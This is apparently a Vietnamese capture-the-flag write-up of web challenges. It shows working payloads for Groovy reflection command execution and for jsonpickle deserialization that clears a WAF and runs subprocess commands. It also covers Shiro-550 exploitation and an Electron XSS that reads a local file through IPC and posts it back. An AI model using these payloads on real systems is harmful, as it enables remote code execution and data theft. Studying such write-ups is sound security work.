Cuộc thi này thực sự là một trải nghiệm tuyệt vời — đề thi chất lượng, thử thách thú vị và đầy cảm hứng. Dưới đây là phân tích chi tiết các bài web mà mình đã giải quyết.
JavaSeri
Bài khởi động đơn giản với lỗi反序列化 trong Apache Shiro. Chỉ cần sử dụng công cụ khai thác Shiro-550 kèm key mặc định hardcode. Cài JDK 1.8 + công cụ hỗ trợ, dò key → chọn chain → RCE. Quá quen thuộc với ai từng va chạm Shiro.
easyGooGooVVVY
Không liên quan tới injection, mà là lạm dụng reflection để thực thi lệnh:
Runtime.getRuntime().exec("env").text
Hoặc dùng ProcessBuilder nếu môi trường hạn chế:
new ProcessBuilder("sh", "-c", "env").start().text
RevengeGooGooVVVY
Thực ra không có gì "revenge" — payload cũ vẫn hoạt động. Nếu bị chặn .text, có thể đọc file trực tiếp bằng FileInputStream.
safe_bank
Bài nâng cao đầu tiên, khai thác jsonpickle deserialization trong Flask.
Sau khi đăng ký tài khoản admiN, decode cookie base64 thấy rõ cấu trúc session. Ban đầu thử đổi admiN → admin nhưng chỉ nhận được fake flag.
Phân tích WAF cho thấy danh sách cấm rất dài, nhưng thiếu từ khóa json — gợi ý dùng tag py/reduce. Tuy nhiên, do decoder bật chế độ safe=True, cách này không khả thi.
Đột phá đến từ việc nhận ra có thể gọi phương thức clear() trên list FORBIDDEN:
{
"py/object": "__main__.Session",
"meta": {
"user": {
"py/object": "__main__.FORBIDDEN.clear",
"py/newargs": []
},
"ts": 1753446254
}
}
Sau khi vô hiệu hóa WAF, thực thi lệnh và lưu kết quả vào file:
{
"py/object": "__main__.Session",
"meta": {
"user": {
"py/object": "subprocess.getoutput",
"py/newargs": ["/readflag > /app/out.txt"]
},
"ts": 1753446254
}
}
Cuối cùng, đọc nội dung file bằng linecache:
{
"py/object": "__main__.Session",
"meta": {
"user": {
"py/object": "linecache.getlines",
"py/newargsex": [{"py/set": ["/app/out.txt"]}, ""]
},
"ts": 1753446254
}
}
fakeXSS
Bài cuối cùng liên quan đến XSS trong ứng dụng Electron. Sau khi giải nén ASAR, phát hiện IPC handle curl có thể bị lạm dụng.
Từ API upload, lấy được temporary credential truy cập bucket COS. Download server_bak.js để xem source code backend.
Phát hiện chức năng admin set background login page:
loginHtml = loginHtml.replace('</body>',
`<iframe src="${fileUrl}" ...></iframe></body>`);
Dùng SVG hoặc HTML injection chèn payload vào thuộc tính src. Payload XSS sẽ gọi IPC curl('file:///flag') và gửi kết quả về server qua API /api/save-bio:
{
"key": "x\" onload=\"fetch('/api/save-bio', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
bio: await window.electronAPI.curl('file:///flag')
})
})\" x=\""
}
Gọi endpoint /api/bot để trigger bot admin truy cập trang có chứa payload. Flag sẽ được lưu trong bio của người dùng.